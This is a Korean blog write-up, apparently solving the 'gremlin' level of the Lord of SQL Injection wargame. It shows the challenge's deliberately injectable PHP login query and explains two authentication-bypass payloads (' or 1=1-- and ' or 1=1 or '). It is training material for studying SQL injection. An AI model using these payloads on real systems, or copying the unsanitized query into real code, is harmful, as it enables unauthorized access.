Notice
Recent Posts
Recent Comments
250x250
반응형
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Archives
Today
Total
관리 메뉴

Tyojong

[LOS] gremlin 본문

web/LOS

[LOS] gremlin

Tyojong 2025. 7. 19. 18:01
반응형
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

입문자를 위해 Lord of SQL Injection에서 앞으로 기본적으로 사용되는 코드만 살펴보자. (php 코드는 알면 좋다.)

 

if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~");

preg_match 함수를 이용해 정규표현식에 해당하는 문자열을 필터링한다. (해당 문제에서는 다른 문제에 영향을 줄 문자열들만 필터링 하고 있다.)

$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

php 코드를 확인해보면 $_GET을 통해 id와 pw를 query string으로 받는다.


문제 목표

if($result['id']) solve("gremlin");

sql 조회 결과중 id값이 있으면 해결된다.

 

문제 해결

select id from prob_gremlin where id='' and pw=''
해당 sql 구문에서 where 구문만 참으로 만들면 id가 출력되기 때문에

 

?id=' or 1=1--+ 을 넣으면 (url에서 +는 공백)

select id from prob_gremlin where id='' or 1=1-- ' and pw=''

이런식으로 값이 들어가 where구문이 참으로 만들어지고 주석(--) 뒤 코드는 무시되기 때문에 올바른 sql 조회 구문이 만들어지고 id값이 출력되어 문제가 해결된다.

 

(다음 문제의 풀이 부터는 자세하게 작성하지 않겠다.)

 

다른 해결

where구문만 참으로 만들면 되기 때문에 여러 풀이들이 존재할 수 있다.

그 중 주석을 사용할 수 없을 경우의 풀이를 살펴보자

 

?id=' or 1=1 or ' 을 넣으면

select id from prob_gremlin where id='' or 1=1 or '' and pw=''

라는 구문이 만들어 진다.

 

해당 where 구문이 참이 되는 과정을 살펴보면

오른쪽에 pw=''와 '' 을 and 연산하면 false가 반환되지만 옆에 1=1과 false를 or연산하면 True가 반환되기 때문에 전체적으로 보면 True가 반환된다. (설명이 이상하지만 True가 되는 로직을 잘 파악하는 것이 중요하다.)

 

728x90

'web > LOS' 카테고리의 다른 글

[LOS] darkelf  (0) 2025.07.22
[LOS] wolfman  (0) 2025.07.21
[LOS] orc  (0) 2025.07.20
[LOS] goblin  (0) 2025.07.20
[LOS] cobolt  (0) 2025.07.20